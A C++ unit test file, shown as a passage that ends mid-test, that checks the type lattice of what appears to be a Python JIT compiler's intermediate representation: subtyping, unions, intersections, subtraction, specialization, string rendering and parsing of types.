using HIRTypeTest = RuntimeTest;
TEST_F(HIRTypeTest, BuiltinEquality) {
EXPECT_EQ(TObject, TObject);
EXPECT_EQ(TTop, TTop);
EXPECT_NE(TObject, TTop);
EXPECT_NE(TObject, TUser);
}
TEST_F(HIRTypeTest, BuiltinSubtypes) {
EXPECT_TRUE(TBottom <= TBottom);
EXPECT_TRUE(TBottom < TBool);
EXPECT_TRUE(TBottom <= TBool);
EXPECT_TRUE(TBottom < TLong);
EXPECT_TRUE(TBottom <= TLong);
EXPECT_TRUE(TBottom < TObject);
EXPECT_TRUE(TBottom <= TObject);
EXPECT_TRUE(TBottom < TTop);
EXPECT_TRUE(TBottom <= TTop);
EXPECT_TRUE(TObjectExact < TObject);
EXPECT_FALSE(TObject <= TObjectExact);
EXPECT_TRUE(TBool <= TBool);
EXPECT_TRUE(TBool < TLong);
EXPECT_TRUE(TBool <= TLong);
EXPECT_TRUE(TBool < TObject);
EXPECT_TRUE(TBool <= TObject);
EXPECT_TRUE(TBool < TTop);
EXPECT_TRUE(TBool <= TTop);
EXPECT_FALSE(TBool < TBool);
EXPECT_FALSE(TBool < TFloat);
EXPECT_FALSE(TBool < TLongUser);
EXPECT_TRUE(TLong <= TLong);
EXPECT_TRUE(TLong < TObject);
EXPECT_TRUE(TLong <= TObject);
EXPECT_TRUE(TLong < TTop);
EXPECT_TRUE(TLong <= TTop);
EXPECT_TRUE(TLongUser < TUser);
EXPECT_FALSE(TLong < TLong);
EXPECT_FALSE(TLong < TFloat);
EXPECT_FALSE(TBottom < TBottom);
EXPECT_FALSE(TTop < TTop);
EXPECT_FALSE(TTop < TObject);
EXPECT_LT(TObject, TTop);
EXPECT_FALSE(TObject < TLong);
EXPECT_FALSE(TLong < TBool);
EXPECT_FALSE(TBool < TBottom);
EXPECT_TRUE(TBaseExceptionUser < TUser);
EXPECT_TRUE(TUnicodeUser < TUser);
EXPECT_TRUE(TObject < TOptObject);
EXPECT_TRUE(TBytes < TOptBytes);
EXPECT_TRUE(TLong < TOptLong);
EXPECT_TRUE(TImmortalLong < TLong);
EXPECT_TRUE(TMortalLong < TLong);
EXPECT_TRUE(TMortalLongExact < TLong);
EXPECT_TRUE(TMortalLongExact < TMortalLong);
EXPECT_TRUE(TMortalLongExact < TLongExact);
EXPECT_FALSE(TImmortalLongUser < TImmortalLongExact);
EXPECT_TRUE(TImmortalLong < TImmortalObject);
EXPECT_FALSE(TMortalLong < TImmortalObject);
}
TEST_F(HIRTypeTest, BuiltinCouldBe) {
EXPECT_TRUE(TBuiltinExact.couldBe(TLong));
EXPECT_TRUE(TBytes.couldBe(TBuiltinExact));
EXPECT_TRUE(TUser.couldBe(TUnicode));
EXPECT_TRUE(TList.couldBe(TUser));
EXPECT_TRUE(TLong.couldBe(TMortalObject));
EXPECT_TRUE(TLong.couldBe(TImmortalObject));
EXPECT_FALSE(TImmortalLong.couldBe(TMortalObject));
}
TEST_F(HIRTypeTest, FromBuiltinObjects) {
EXPECT_EQ(Type::fromObject(Py_None), TNoneType);
EXPECT_TRUE(Type::fromObject(Py_True) < TBool);
EXPECT_TRUE(Type::fromObject(Py_False) < TLong);
auto not_impl = Type::fromObject(Py_NotImplemented);
EXPECT_TRUE(not_impl < TObject);
ASSERT_TRUE(not_impl.hasObjectSpec());
EXPECT_EQ(not_impl.objectSpec(), Py_NotImplemented);
EXPECT_EQ(not_impl.typeSpec(), Py_TYPE(Py_NotImplemented));
auto long_obj = Type::fromObject(reinterpret_cast<PyObject*>(&PyLong_Type));
EXPECT_TRUE(long_obj < TType);
EXPECT_TRUE(long_obj.hasObjectSpec());
EXPECT_EQ(long_obj.objectSpec(), reinterpret_cast<PyObject*>(&PyLong_Type));
EXPECT_EQ(long_obj.toString(), "MortalTypeExact[int:obj]");
}
TEST_F(HIRTypeTest, FromBuiltinType) {
EXPECT_EQ(Type::fromType(&PyLong_Type), TLong);
EXPECT_EQ(Type::fromType(&PyBool_Type), TBool);
EXPECT_EQ(Type::fromType(&PyBytes_Type), TBytes);
EXPECT_EQ(Type::fromType(&PyUnicode_Type), TUnicode);
EXPECT_EQ(Type::fromType(&PySlice_Type), TSlice);
EXPECT_EQ(Type::fromType(&PyBaseObject_Type), TObject);
EXPECT_EQ(Type::fromTypeExact(&PyBaseObject_Type), TObjectExact);
EXPECT_EQ(Type::fromType(&PyLong_Type), TLong);
EXPECT_EQ(Type::fromTypeExact(&PyLong_Type), TLongExact);
EXPECT_EQ(Type::fromType(&PyBool_Type), TBool);
EXPECT_EQ(Type::fromTypeExact(&PyBool_Type), TBool);
EXPECT_EQ(
Type::fromType(reinterpret_cast<PyTypeObject*>(PyExc_BaseException)),
TBaseException);
EXPECT_EQ(
Type::fromTypeExact(reinterpret_cast<PyTypeObject*>(PyExc_BaseException)),
TBaseExceptionExact);
auto exc = Type::fromType(reinterpret_cast<PyTypeObject*>(PyExc_Exception));
EXPECT_EQ(exc.toString(), "BaseExceptionUser[Exception]");
EXPECT_TRUE(exc < TBaseException);
auto type = Type::fromType(&PyType_Type);
auto type_obj = Type::fromObject(reinterpret_cast<PyObject*>(&PyType_Type));
EXPECT_EQ(type.toString(), "Type");
EXPECT_EQ(type_obj.toString(), "MortalTypeExact[type:obj]");
EXPECT_TRUE(type_obj < type);
}
TEST_F(HIRTypeTest, UniquePyType) {
EXPECT_EQ(TLong.uniquePyType(), &PyLong_Type);
EXPECT_EQ(TImmortalLong.uniquePyType(), &PyLong_Type);
EXPECT_EQ(TMortalList.uniquePyType(), &PyList_Type);
EXPECT_EQ(TBool.uniquePyType(), &PyBool_Type);
EXPECT_EQ(TUnicode.uniquePyType(), &PyUnicode_Type);
EXPECT_EQ(TList.uniquePyType(), &PyList_Type);
EXPECT_EQ(TListExact.uniquePyType(), &PyList_Type);
EXPECT_EQ(TObject.uniquePyType(), &PyBaseObject_Type);
EXPECT_EQ(TObjectExact.uniquePyType(), &PyBaseObject_Type);
EXPECT_EQ(TBuiltinExact.uniquePyType(), nullptr);
EXPECT_EQ((TLong | TUnicode).uniquePyType(), nullptr);
EXPECT_EQ((TObject - TLong).uniquePyType(), nullptr);
EXPECT_EQ(TNullptr.uniquePyType(), nullptr);
EXPECT_EQ(TCInt32.uniquePyType(), nullptr);
// None is a singleton, so Type makes no distinction between None the value
// and NoneType.
EXPECT_EQ(Type::fromObject(Py_None).uniquePyType(), &_PyNone_Type);
// Other specialized values don't have unique PyTypeObjects*.
auto one = Ref<>::steal(PyLong_FromLong(1));
ASSERT_NE(one, nullptr);
EXPECT_EQ(Type::fromObject(one).uniquePyType(), nullptr);
ASSERT_TRUE(runCode(R"(
class MyClass:
pass
my_obj = MyClass()
)"));
Ref<PyTypeObject> my_class(getGlobal("MyClass"));
ASSERT_NE(my_class, nullptr);
Ref<> my_obj(getGlobal("my_obj"));
ASSERT_NE(my_obj, nullptr);
EXPECT_EQ(Type::fromType(my_class).uniquePyType(), my_class);
EXPECT_EQ(Type::fromTypeExact(my_class).uniquePyType(), my_class);
EXPECT_EQ(Type::fromObject(my_class).uniquePyType(), nullptr);
EXPECT_EQ(Type::fromObject(my_obj).uniquePyType(), nullptr);
}
TEST_F(HIRTypeTest, IsExact) {
EXPECT_FALSE(TObject.isExact());
EXPECT_TRUE(TObjectExact.isExact());
EXPECT_TRUE(TBool.isExact());
EXPECT_FALSE(TLong.isExact());
EXPECT_TRUE(TLongExact.isExact());
EXPECT_TRUE((TUnicodeExact | TListExact).isExact());
EXPECT_FALSE((TUnicodeExact | TList).isExact());
EXPECT_FALSE(TNullptr.isExact());
EXPECT_FALSE(TCInt32.isExact());
EXPECT_FALSE(TCBool.isExact());
EXPECT_TRUE(TMortalListExact.isExact());
EXPECT_FALSE(TMortalList.isExact());
auto three = Ref<>::steal(PyLong_FromLong(3));
EXPECT_TRUE(Type::fromObject(three).isExact());
ASSERT_TRUE(runCode(R"(
class MyClass:
pass
my_obj = MyClass()
)"));
Ref<PyTypeObject> my_class(getGlobal("MyClass"));
ASSERT_NE(my_class, nullptr);
Ref<> my_obj(getGlobal("my_obj"));
ASSERT_NE(my_obj, nullptr);
EXPECT_FALSE(Type::fromType(my_class).isExact());
EXPECT_TRUE(Type::fromTypeExact(my_class).isExact());
EXPECT_TRUE(Type::fromObject(my_class).isExact());
EXPECT_TRUE(Type::fromObject(my_obj).isExact());
}
TEST_F(HIRTypeTest, ToString) {
EXPECT_EQ(TLong.toString(), "Long");
EXPECT_EQ(TObject.toString(), "Object");
EXPECT_EQ((TBytes | TCInt32).toString(), "{Bytes|CInt32}");
EXPECT_EQ(TCInt8.toString(), "CInt8");
EXPECT_EQ(TCInt16.toString(), "CInt16");
EXPECT_EQ(TCInt32.toString(), "CInt32");
EXPECT_EQ(TCInt64.toString(), "CInt64");
EXPECT_EQ(TCUInt8.toString(), "CUInt8");
EXPECT_EQ(TCUInt16.toString(), "CUInt16");
EXPECT_EQ(TCUInt32.toString(), "CUInt32");
EXPECT_EQ(TCUInt64.toString(), "CUInt64");
EXPECT_EQ((TList | TNullptr | TCInt64).toString(), "{CInt64|List|Nullptr}");
EXPECT_EQ(TMortalList.toString(), "MortalList");
EXPECT_EQ(TImmortalList.toString(), "ImmortalList");
EXPECT_EQ(TOptImmortalTuple.toString(), "OptImmortalTuple");
EXPECT_EQ(
(TMortalObject & (TList | TTuple)).toString(), "Mortal{List|Tuple}");
// These weird types are mostly impossible to hit in real code, but it's
// easier to support them with a fully-general solution than to special case
// the types we do care about.
EXPECT_EQ(
(TImmortalDict | TImmortalSet | TCInt64).toString(),
"{CInt64|Immortal{Dict|Set}}");
EXPECT_EQ(
(TImmortalDict | TImmortalSet | TCInt64 | TCBool).toString(),
"{CBool|CInt64|Immortal{Dict|Set}}");
EXPECT_EQ(
(TNullptr | TImmortalDict | TImmortalLong).toString(),
"{Immortal{Dict|Long}|Nullptr}");
EXPECT_EQ((TCBool | TImmortalUnicode).toString(), "{CBool|ImmortalUnicode}");
EXPECT_EQ(
(TMortalDict | TCBool | TNullptr).toString(),
"{CBool|MortalDict|Nullptr}");
EXPECT_EQ(Type::fromObject(Py_True).toString(), "MortalBool[True]");
EXPECT_EQ(Type::fromObject(Py_False).toString(), "MortalBool[False]");
auto llong_max = Ref<>::steal(PyLong_FromLongLong(LLONG_MAX));
ASSERT_NE(llong_max, nullptr);
auto i = Ref<>::steal(PyLong_FromLong(24));
ASSERT_NE(i, nullptr);
auto negi = Ref<>::steal(PyNumber_Negative(i));
ASSERT_NE(negi, nullptr);
auto overflow = Ref<>::steal(PyNumber_Add(llong_max, i));
ASSERT_NE(overflow, nullptr);
auto underflow = Ref<>::steal(PyNumber_Multiply(llong_max, negi));
ASSERT_NE(underflow, nullptr);
EXPECT_EQ(Type::fromObject(i).toString(), "MortalLongExact[24]");
EXPECT_EQ(Type::fromObject(negi).toString(), "MortalLongExact[-24]");
EXPECT_EQ(Type::fromObject(overflow).toString(), "MortalLongExact[overflow]");
EXPECT_EQ(
Type::fromObject(underflow).toString(), "MortalLongExact[underflow]");
auto dbl = Ref<>::steal(PyFloat_FromDouble(1234.5));
ASSERT_NE(dbl, nullptr);
EXPECT_EQ(Type::fromObject(dbl).toString(), "MortalFloatExact[1234.5]");
auto str = Ref<>::steal(PyUnicode_FromString("Hello there!"));
ASSERT_NE(str, nullptr);
EXPECT_EQ(
Type::fromObject(str).toString(), "MortalUnicodeExact[\"Hello there!\"]");
auto long_str = Ref<>::steal(
PyUnicode_FromString("The quick brown fox jumps over the lazy dog."));
ASSERT_NE(long_str, nullptr);
EXPECT_EQ(
Type::fromObject(long_str).toString(),
"MortalUnicodeExact[\"The quick brown fox \"...]");
auto bytes = Ref<>::steal(PyBytes_FromString("hi"));
ASSERT_NE(bytes, nullptr);
EXPECT_EQ(Type::fromObject(bytes).toString(), "MortalBytesExact['hi']");
EXPECT_EQ(Type::fromCBool(true).toString(), "CBool[true]");
EXPECT_EQ(Type::fromCBool(false).toString(), "CBool[false]");
EXPECT_EQ(Type::fromCInt(127, TCInt8).toString(), "CInt8[127]");
EXPECT_EQ(Type::fromCUInt(255, TCUInt8).toString(), "CUInt8[255]");
EXPECT_EQ(Type::fromCInt(32123, TCInt16).toString(), "CInt16[32123]");
EXPECT_EQ(Type::fromCUInt(56789, TCUInt16).toString(), "CUInt16[56789]");
EXPECT_EQ(Type::fromCInt(1234, TCInt32).toString(), "CInt32[1234]");
EXPECT_EQ(Type::fromCUInt(1234, TCUInt32).toString(), "CUInt32[1234]");
EXPECT_EQ(Type::fromCInt(56789, TCInt64).toString(), "CInt64[56789]");
EXPECT_EQ(Type::fromCUInt(56789, TCUInt64).toString(), "CUInt64[56789]");
ASSERT_TRUE(runCode("class MyClass: pass\nobj = MyClass()"));
Ref<> my_pyobj(getGlobal("obj"));
ASSERT_NE(my_pyobj, nullptr);
auto my_obj = Type::fromObject(my_pyobj);
EXPECT_EQ(my_obj.toString(), "MortalObjectUser[MyClass:0xdeadbeef]");
}
static ::testing::AssertionResult
isLongTypeWithValue(Type actual, Type expected, Py_ssize_t value) {
if (!(actual <= expected)) {
return ::testing::AssertionFailure()
<< "Expected " << actual.toString() << " <= " << expected.toString()
<< ", but it was not";
}
if (!actual.hasObjectSpec()) {
return ::testing::AssertionFailure() << "Expected " << actual.toString()
<< " to have int spec but it did not";
}
PyObject* obj = actual.objectSpec();
if (PyLong_AsLong(obj) != value) {
return ::testing::AssertionFailure()
<< "Expected " << actual.toString() << " to be == " << value
<< " but it was not";
}
return ::testing::AssertionSuccess();
}
static Type typeParseSimple(const char* str) {
return Type::parse(/*env=*/nullptr, str);
}
TEST_F(HIRTypeTest, Parse) {
EXPECT_EQ(typeParseSimple("Top"), TTop);
EXPECT_EQ(typeParseSimple("Bottom"), TBottom);
EXPECT_EQ(typeParseSimple("NoneType"), TNoneType);
EXPECT_EQ(typeParseSimple("Long"), TLong);
EXPECT_EQ(typeParseSimple("ImmortalTuple"), TImmortalTuple);
EXPECT_EQ(typeParseSimple("MortalUser"), TMortalUser);
EXPECT_EQ(typeParseSimple("CInt64[123456]"), Type::fromCInt(123456, TCInt64));
EXPECT_EQ(typeParseSimple("CUInt8[42]"), Type::fromCUInt(42, TCUInt8));
EXPECT_EQ(typeParseSimple("CInt32[-5678]"), Type::fromCInt(-5678, TCInt32));
EXPECT_EQ(typeParseSimple("CBool[true]"), Type::fromCBool(true));
EXPECT_EQ(typeParseSimple("CBool[false]"), Type::fromCBool(false));
EXPECT_EQ(typeParseSimple("CBool[banana]"), TBottom);
// Unknown types or unsupported specializations parse to Bottom
EXPECT_EQ(typeParseSimple("Bootom"), TBottom);
EXPECT_EQ(typeParseSimple("Banana"), TBottom);
}
TEST_F(HIRTypeTest, ParsePyObject) {
Environment env;
EXPECT_TRUE(isLongTypeWithValue(Type::parse(&env, "Long[1]"), TLong, 1));
EXPECT_TRUE(
isLongTypeWithValue(Type::parse(&env, "MortalLong[2]"), TMortalLong, 2));
EXPECT_TRUE(isLongTypeWithValue(
Type::parse(&env, "MortalLongExact[3]"), TMortalLongExact, 3));
EXPECT_EQ(
Type::parse(&env, "Long[123123123123123123123123123123123123]"), TBottom);
}
TEST_F(HIRTypeTest, SimpleUnion) {
auto t1 = TBytes;
auto t2 = TUnicode;
auto u = t1 | t2;
EXPECT_LT(t1, u);
EXPECT_LT(t2, u);
EXPECT_EQ(u.toString(), "{Bytes|Unicode}");
EXPECT_EQ(TLongUser | TBool | TLongExact, TLong);
EXPECT_EQ(TOptCode, TCode | TNullptr);
EXPECT_EQ(TOptBytesExact, TBytesExact | TNullptr);
EXPECT_EQ(TOptUnicode, TUnicode | TNullptr);
EXPECT_EQ(TOptObject, TObject | TNullptr);
EXPECT_EQ(TMortalUnicode | TImmortalUnicode, TUnicode);
EXPECT_EQ(TMortalLong | TImmortalDict, TLong | TDict);
}
TEST_F(HIRTypeTest, SimpleIntersection) {
EXPECT_EQ(TList & TLong, TBottom);
EXPECT_EQ(TLong & TUser, TLongUser);
EXPECT_EQ(TBytes & TBuiltinExact, TBytesExact);
EXPECT_EQ(TCode & TUser, TBottom);
EXPECT_EQ(TFunc & TBuiltinExact, TFunc);
auto t1 = TUnicode | TBytes | TLong;
auto t2 = TBool | TUser;
auto t3 = t1 & t2;
EXPECT_EQ(t3, TBool | TUnicodeUser | TBytesUser | TLongUser);
EXPECT_EQ(TLong & TMortalObject, TMortalLong);
EXPECT_EQ(TMortalList & TImmortalList, TBottom);
EXPECT_EQ(TMortalList & TMortalDict, TBottom);
}
TEST_F(HIRTypeTest, SimpleSubtraction) {
EXPECT_EQ(TLong - TBool - TLongUser, TLongExact);
EXPECT_EQ(
TUser - TBytes - TDict - TSet - TArray - TFloat - TList - TTuple -
TUnicode - TType - TBaseException - TLong,
TObjectUser);
EXPECT_EQ(TUnicode - TUnicodeExact, TUnicodeUser);
EXPECT_EQ(TLong - TBool, TLongExact | TLongUser);
EXPECT_EQ(TOptLong - TNullptr, TLong);
EXPECT_EQ(TTop - TObject, TPrimitive);
EXPECT_EQ(TList - TMortalList, TImmortalList);
EXPECT_EQ(TList - TImmortalObject, TMortalList);
EXPECT_EQ(TMortalObject - TImmortalObject, TMortalObject);
EXPECT_EQ(TMortalLong - TMortalObject, TBottom);
EXPECT_EQ(TOptMortalList - TNullptr, TMortalList);
}
TEST_F(HIRTypeTest, SpecializedIntegerTypes) {
auto five = Type::fromCInt(5, TCInt32);
auto five64 = Type::fromCInt(5, TCInt64);
auto ten = Type::fromCInt(10, TCInt32);
auto ctrue = Type::fromCBool(true);
ASSERT_TRUE(five.hasIntSpec());
EXPECT_EQ(five.intSpec(), 5);
ASSERT_TRUE(five64.hasIntSpec());
EXPECT_EQ(five64.intSpec(), 5);
ASSERT_TRUE(ctrue.hasIntSpec());
EXPECT_EQ(ctrue.intSpec(), true);
EXPECT_TRUE(five <= five);
EXPECT_FALSE(five <= five64);
EXPECT_FALSE(five <= ten);
EXPECT_EQ(five & five, five);
EXPECT_EQ(TCInt32 & five, five);
EXPECT_EQ(TCInt32 & five64, TBottom);
EXPECT_EQ(five | five64, TCInt32 | TCInt64);
EXPECT_EQ(five & five64, TBottom);
EXPECT_EQ(five | ten, TCInt32);
EXPECT_EQ(five & ten, TBottom);
EXPECT_EQ(five | five, five);
EXPECT_TRUE(TBottom <= five);
EXPECT_TRUE(TBottom < five);
EXPECT_EQ(five | TBottom, five);
EXPECT_EQ(TBottom | five, five);
auto py_long1 = Ref<>::steal(PyLong_FromLong(24));
ASSERT_NE(py_long1, nullptr);
auto py_long2 = Ref<>::steal(PyLong_FromLong(42));
ASSERT_NE(py_long2, nullptr);
auto long_ty1 = Type::fromObject(py_long1);
auto long_ty2 = Type::fromObject(py_long2);
auto long_ty = long_ty1 | long_ty2;
EXPECT_FALSE(long_ty.hasTypeSpec());
EXPECT_EQ(long_ty, TMortalLongExact);
}
TEST_F(HIRTypeTest, SpecializedDoubleTypes) {
auto five = Type::fromCDouble(5.0);
ASSERT_TRUE(five.hasDoubleSpec());
ASSERT_TRUE(five.hasDoubleSpec());
ASSERT_FALSE(five.hasTypeSpec());
EXPECT_EQ(five.doubleSpec(), 5.0);
EXPECT_TRUE(five <= five);
EXPECT_EQ(five & five, five);
EXPECT_EQ(TCDouble & five, five);
EXPECT_TRUE(five <= TCDouble);
EXPECT_TRUE(five < TCDouble);
EXPECT_NE(five, Type::fromCDouble(5.1));
EXPECT_EQ(five & Type::fromCDouble(1.0), TBottom);
}
TEST_F(HIRTypeTest, Metaclasses) {
const char* py_src = R"(
class Metaclass(type):
pass
class MyClass(metaclass=Metaclass):
pass
obj = MyClass()
)";
ASSERT_TRUE(runCode(py_src));
Ref<PyTypeObject> metaclass_pytype(getGlobal("Metaclass"));
ASSERT_NE(metaclass_pytype, nullptr);
Ref<PyTypeObject> my_class_pytype(getGlobal("MyClass"));
ASSERT_NE(my_class_pytype, nullptr);
Ref<> obj_pyobj(getGlobal("obj"));
ASSERT_NE(obj_pyobj, nullptr);
auto metaclass = Type::fromType(metaclass_pytype);
auto metaclass_obj = Type::fromObject(metaclass_pytype);
auto my_class = Type::fromType(my_class_pytype);
auto my_class_obj = Type::fromObject(my_class_pytype);
auto obj = Type::fromObject(obj_pyobj);
EXPECT_EQ(metaclass.toString(), "TypeUser[Metaclass]");
EXPECT_EQ(metaclass_obj.toString(), "MortalTypeExact[Metaclass:obj]");
EXPECT_EQ(my_class.toString(), "User[MyClass]");
EXPECT_EQ(my_class_obj.toString(), "MortalTypeUser[MyClass:obj]");
EXPECT_EQ(obj.toString(), "MortalObjectUser[MyClass:0xdeadbeef]");
EXPECT_TRUE(metaclass < TTypeUser);
EXPECT_TRUE(metaclass_obj < TTypeExact);
EXPECT_TRUE(my_class < TObject);
EXPECT_TRUE(my_class_obj < TType);
EXPECT_TRUE(my_class_obj < metaclass);
EXPECT_TRUE(obj < my_class);
EXPECT_FALSE(metaclass <= metaclass_obj);
EXPECT_FALSE(my_class <= metaclass_obj);
EXPECT_FALSE(my_class_obj <= metaclass_obj);
EXPECT_FALSE(obj <= metaclass);
}
TEST_F(HIRTypeTest, TypeUserSpecializations) {
const char* py_src = R"(
class MyClass:
pass
class MySubclass(MyClass):
pass
class MyInt(int):
pass
class MyStr(str):
pass
)";
ASSERT_TRUE(runCode(py_src));
Ref<PyTypeObject> my_class_pytype(getGlobal("MyClass"));
ASSERT_NE(my_class_pytype, nullptr);
Ref<PyTypeObject> my_subclass_pytype(getGlobal("MySubclass"));
ASSERT_NE(my_subclass_pytype, nullptr);
Ref<PyTypeObject> my_int_pytype(getGlobal("MyInt"));
ASSERT_NE(my_int_pytype, nullptr);
Ref<PyTypeObject> my_str_pytype(getGlobal("MyStr"));
ASSERT_NE(my_str_pytype, nullptr);
auto my_class = Type::fromType(my_class_pytype);
auto my_class_exact = Type::fromTypeExact(my_class_pytype);
auto my_subclass = Type::fromType(my_subclass_pytype);
auto my_subclass_exact = Type::fromTypeExact(my_subclass_pytype);
auto my_int = Type::fromType(my_int_pytype);
auto my_int_exact = Type::fromTypeExact(my_int_pytype);
auto my_str = Type::fromType(my_str_pytype);
auto my_str_exact = Type::fromTypeExact(my_str_pytype);
EXPECT_EQ(my_class.toString(), "User[MyClass]");
EXPECT_EQ(my_class_exact.toString(), "ObjectUser[MyClass:Exact]");
EXPECT_EQ(my_subclass.toString(), "User[MySubclass]");
EXPECT_EQ(my_subclass_exact.toString(), "ObjectUser[MySubclass:Exact]");
EXPECT_EQ(my_int.toString(), "LongUser[MyInt]");
EXPECT_EQ(my_int_exact.toString(), "LongUser[MyInt:Exact]");
EXPECT_EQ(my_str.toString(), "UnicodeUser[MyStr]");
EXPECT_EQ(my_str_exact.toString(), "UnicodeUser[MyStr:Exact]");
EXPECT_TRUE(my_class < TUser);
EXPECT_TRUE(my_class_exact < my_class);
EXPECT_FALSE(my_class < my_int);
EXPECT_FALSE(my_class < my_str);
EXPECT_TRUE(my_subclass < TUser);
EXPECT_TRUE(my_subclass < my_class);
EXPECT_TRUE(my_subclass_exact < my_class);
EXPECT_FALSE(my_subclass_exact < my_class_exact);
EXPECT_FALSE(my_subclass < my_int);
EXPECT_FALSE(my_subclass < my_str);
EXPECT_EQ(my_class_exact | my_subclass_exact, my_class & TObjectUser);
EXPECT_EQ(my_class_exact | my_class_exact, my_class_exact);
EXPECT_TRUE(my_int < TUser);
EXPECT_TRUE(my_int < TLong);
EXPECT_TRUE(my_int < TLongUser);
EXPECT_FALSE(my_int < TUnicode);
EXPECT_FALSE(my_int < my_class);
EXPECT_FALSE(my_int < my_subclass);
EXPECT_TRUE(my_int_exact < my_int);
EXPECT_FALSE(my_int < my_str);
EXPECT_TRUE(my_str < TUser);
EXPECT_TRUE(my_str < TUnicode);
EXPECT_TRUE(my_str < TUnicodeUser);
EXPECT_FALSE(my_str < TLong);
EXPECT_FALSE(my_str < my_class);
EXPECT_FALSE(my_str < my_subclass);
EXPECT_FALSE(my_str < my_int);
EXPECT_TRUE(my_str_exact < my_str);
EXPECT_EQ(my_class & my_class_exact, my_class_exact);
EXPECT_EQ((my_class & my_int).toString(), "LongUser[MyClass]");
EXPECT_EQ((my_int & my_class).toString(), "LongUser[MyClass]");
EXPECT_EQ(my_int & my_str, TBottom);
auto call_type = [](PyTypeObject* ty) {
return PyObject_CallObject(reinterpret_cast<PyObject*>(ty), nullptr);
};
auto class_pyobj = Ref<>::steal(call_type(my_class_pytype));
ASSERT_NE(class_pyobj, nullptr);
auto class_pyobj2 = Ref<>::steal(call_type(my_class_pytype));
ASSERT_NE(class_pyobj2, nullptr);
auto subclass_pyobj = Ref<>::steal(call_type(my_subclass_pytype));
ASSERT_NE(subclass_pyobj, nullptr);
auto int_pyobj = Ref<>::steal(call_type(my_int_pytype));
ASSERT_NE(int_pyobj, nullptr);
auto int_pyobj2 = Ref<>::steal(call_type(my_int_pytype));
ASSERT_NE(int_pyobj2, nullptr);
auto str_pyobj = Ref<>::steal(call_type(my_str_pytype));
ASSERT_NE(str_pyobj, nullptr);
auto str_pyobj2 = Ref<>::steal(call_type(my_str_pytype));
ASSERT_NE(str_pyobj2, nullptr);
auto class_obj = Type::fromObject(class_pyobj);
auto class_obj2 = Type::fromObject(class_pyobj2);
auto subclass_obj = Type::fromObject(subclass_pyobj);
auto int_obj = Type::fromObject(int_pyobj);
auto int_obj2 = Type::fromObject(int_pyobj2);
auto str_obj = Type::fromObject(str_pyobj);
auto str_obj2 = Type::fromObject(str_pyobj2);
EXPECT_TRUE(class_obj.hasValueSpec(TUser));
EXPECT_TRUE(class_obj.hasValueSpec(my_class));
EXPECT_FALSE(class_obj.hasValueSpec(TLong));
EXPECT_FALSE(class_obj.hasValueSpec(my_subclass));
EXPECT_TRUE(int_obj.hasValueSpec(TLong));
// MyClass
EXPECT_NE(class_obj, TBottom);
EXPECT_NE(class_obj, my_class);
EXPECT_TRUE(class_obj <= class_obj);
EXPECT_TRUE(class_obj <= my_class);
EXPECT_TRUE(class_obj < my_class);
EXPECT_TRUE(class_obj < TObjectUser);
EXPECT_FALSE(my_class <= class_obj);
EXPECT_EQ(my_class & my_class, my_class);
EXPECT_EQ(my_class & class_obj, class_obj);
EXPECT_NE(class_obj, class_obj2);
EXPECT_EQ(class_obj & class_obj, class_obj);
EXPECT_EQ(class_obj & class_obj2, TBottom);
EXPECT_EQ(class_obj | class_obj, class_obj);
auto pure_class = my_class & TObjectUser;
EXPECT_TRUE(pure_class.hasTypeSpec());
EXPECT_EQ(pure_class.typeSpec(), my_class_pytype);
EXPECT_FALSE(class_obj <= class_obj2);
EXPECT_EQ(class_obj - class_obj2, class_obj);
EXPECT_EQ(class_obj - my_subclass, class_obj);
EXPECT_EQ(class_obj & TObject, class_obj);
EXPECT_EQ(TObject & class_obj, class_obj);
EXPECT_EQ(my_class | TLong, TUser | TLong);
EXPECT_EQ(my_class | TObjectUser, TUser);
EXPECT_EQ(class_obj | TUser, TUser);
EXPECT_EQ(class_obj | TObjectUser, TObjectUser);
EXPECT_EQ(class_obj | int_obj, TMortalObjectUser | TMortalLongUser);
EXPECT_FALSE(my_class_exact < class_obj);
EXPECT_TRUE(class_obj < my_class_exact);
EXPECT_EQ(class_obj | my_class_exact, my_class_exact);
auto bytes_class = my_class & TBytes;
auto list_class = my_class & TList;
EXPECT_EQ(bytes_class.toString(), "BytesUser[MyClass]");
EXPECT_EQ(list_class.toString(), "ListUser[MyClass]");
EXPECT_EQ(bytes_class & list_class, TBottom);
EXPECT_TRUE(bytes_class < my_class);
EXPECT_TRUE(list_class < my_class);
EXPECT_FALSE(my_class <= bytes_class);
EXPECT_FALSE(my_class <= list_class);
EXPECT_FALSE(class_obj < bytes_class);
EXPECT_FALSE(class_obj < list_class);
auto both_class = bytes_class | list_class;
EXPECT_TRUE(both_class.hasTypeSpec());
EXPECT_EQ(both_class.typeSpec(), my_class_pytype);
EXPECT_TRUE(bytes_class < both_class);
EXPECT_TRUE(list_class < both_class);
EXPECT_EQ(both_class - bytes_class, list_class);
EXPECT_EQ(both_class - list_class, bytes_class);
EXPECT_EQ(bytes_class - both_class, TBottom);
// MySubclass
EXPECT_EQ(my_class & my_subclass, my_subclass);
EXPECT_EQ(class_obj & my_subclass, TBottom);
EXPECT_EQ(subclass_obj & my_class, subclass_obj);
EXPECT_EQ(subclass_obj & my_subclass, subclass_obj);
EXPECT_EQ(subclass_obj | class_obj, TMortalObjectUser & my_class);
EXPECT_EQ(class_obj | subclass_obj, my_class & TMortalObjectUser);
EXPECT_EQ(subclass_obj | my_class_exact, my_class & TObjectUser);
EXPECT_FALSE(subclass_obj < my_class_exact);
// MyInt
EXPECT_NE(int_obj, TBottom);
EXPECT_NE(int_obj, my_int);
EXPECT_TRUE(int_obj <= int_obj);
EXPECT_TRUE(int_obj <= my_int);
EXPECT_TRUE(int_obj < my_int);
EXPECT_FALSE(my_int <= int_obj);
EXPECT_TRUE(int_obj < TLongUser);
EXPECT_EQ(my_int & my_int, my_int);
EXPECT_EQ(my_int & int_obj, int_obj);
EXPECT_NE(int_obj, int_obj2);
EXPECT_EQ(int_obj & int_obj, int_obj);
EXPECT_EQ(int_obj & int_obj2, TBottom);
EXPECT_EQ(int_obj | int_obj, int_obj);
// MyStr
EXPECT_NE(str_obj, TBottom);
EXPECT_NE(str_obj, my_str);
EXPECT_TRUE(str_obj <= str_obj);
EXPECT_TRUE(str_obj <= my_str);
EXPECT_TRUE(str_obj < my_str);
EXPECT_FALSE(my_str <= str_obj);
EXPECT_TRUE(str_obj < TUnicodeUser);
EXPECT_EQ(my_str & my_str, my_str);
EXPECT_EQ(my_str & str_obj, str_obj);
EXPECT_NE(str_obj, str_obj2);
EXPECT_EQ(str_obj & str_obj, str_obj);
EXPECT_EQ(str_obj & str_obj2, TBottom);
